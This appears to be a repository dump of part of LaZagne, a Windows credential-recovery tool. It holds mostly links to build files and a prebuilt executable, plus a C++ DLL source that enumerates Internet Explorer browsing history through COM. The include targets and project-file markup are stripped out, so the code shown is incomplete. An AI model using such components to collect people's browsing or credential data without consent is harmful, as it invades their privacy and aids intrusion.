--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.read.1.tlog
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/link.write.1.tlog
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.command.1.tlog
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.read.1.tlog
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/mt.write.1.tlog
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/stdafx.obj
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/Release/vc100.pdb
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/dllmain.cpp:
--------------------------------------------------------------------------------
1 | #include
2 | #include
3 | #include
4 | #include
5 | #include
6 |
7 | #pragma comment(lib, "ole32.lib")
8 |
9 | #define URL_HISTORY_MAX 512
10 | #include
11 |
12 | int GetUrlHistory(wchar_t **UrlHistory);
13 | int GetUrlHistory(wchar_t **UrlHistory)
14 | {
15 | int max = 0, len;
16 | wchar_t *p = NULL;
17 | IUrlHistoryStg2 *pUrlHistoryStg2 = NULL;
18 | IEnumSTATURL *pEnumUrls;
19 | STATURL StatUrl[1];
20 | ULONG ulFetched;
21 | HRESULT hr;
22 | CoInitialize(NULL);
23 |
24 | hr = CoCreateInstance(CLSID_CUrlHistory, NULL, CLSCTX_INPROC_SERVER,IID_IUrlHistoryStg2,(void**)(&pUrlHistoryStg2));
25 | if (SUCCEEDED(hr))
26 | {
27 | hr = pUrlHistoryStg2->EnumUrls(&pEnumUrls);
28 | if (SUCCEEDED(hr))
29 | {
30 | while (max < URL_HISTORY_MAX && (hr = pEnumUrls->Next(1,StatUrl, &ulFetched)) == S_OK)
31 | {
32 | if (StatUrl->pwcsUrl != NULL)
33 | {
34 | if (NULL != (p = wcschr(StatUrl->pwcsUrl,'?')))
35 | *p='\0';
36 | len = wcslen(StatUrl->pwcsUrl) + 1;
37 | UrlHistory[max] = new wchar_t[len];
38 | if (UrlHistory[max])
39 | {
40 | wcscpy_s(UrlHistory[max], len, StatUrl->pwcsUrl);
41 | UrlHistory[max][len - 1] = '\0';
42 | max++;
43 | }
44 | }
45 | }
46 | pEnumUrls->Release();
47 | }
48 | pUrlHistoryStg2->Release();
49 | }
50 | CoUninitialize();
51 | return max;
52 | }
53 |
54 | extern "C" __declspec(dllexport) wchar_t** list()
55 | {
56 | static wchar_t *UrlHistory[URL_HISTORY_MAX];
57 | GetUrlHistory(UrlHistory);
58 | return &UrlHistory[0];
59 | }
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/historic.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | Win32
7 |
8 |
9 | Debug
10 | x64
11 |
12 |
13 | Release
14 | Win32
15 |
16 |
17 | Release
18 | x64
19 |
20 |
21 |
22 | {01577051-CDE2-4A5A-80D4-16F2A5A1026D}
23 | Win32Proj
24 | historic
25 | history
26 |
27 |
28 |
29 | DynamicLibrary
30 | true
31 | Unicode
32 |
33 |
34 | DynamicLibrary
35 | false
36 | true
37 | Unicode
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 | true
51 |
52 |
53 | false
54 |
55 |
56 |
57 | Use
58 | Level3
59 | Disabled
60 | WIN32;_DEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions)
61 |
62 |
63 | Windows
64 | true
65 |
66 |
67 |
68 |
69 | Level3
70 | Use
71 | MaxSpeed
72 | true
73 | true
74 | WIN32;NDEBUG;_WINDOWS;_USRDLL;HISTORIC_EXPORTS;%(PreprocessorDefinitions)
75 |
76 |
77 | Windows
78 | true
79 | true
80 | true
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 | false
90 |
91 |
92 | false
93 |
94 |
95 |
96 |
97 |
98 | Create
99 | Create
100 |
101 |
102 |
103 |
104 |
105 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Fichiers d%27en-tête
20 |
21 |
22 | Fichiers d%27en-tête
23 |
24 |
25 |
26 |
27 | Fichiers sources
28 |
29 |
30 | Fichiers sources
31 |
32 |
33 | Fichiers sources
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/historic.vcxproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/history.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/history.cpp
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/stdafx.cpp:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/stdafx.cpp
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/stdafx.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/stdafx.h
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/historic/targetver.h:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/historic/targetver.h
--------------------------------------------------------------------------------
/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/src/browser_history_dll/historic/ipch/historic-a0234e08/history-838e9c18.ipch
--------------------------------------------------------------------------------
/Windows/standalone/laZagne.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/Windows/standalone/laZagne.exe
--------------------------------------------------------------------------------
/pictures/lazagne.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/pictures/lazagne.png
--------------------------------------------------------------------------------
/pictures/softwares.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/lightos/LaZagne/b6bd676171c83c28ca0a2a018d7f9db704ccbdfe/pictures/softwares.png
--------------------------------------------------------------------------------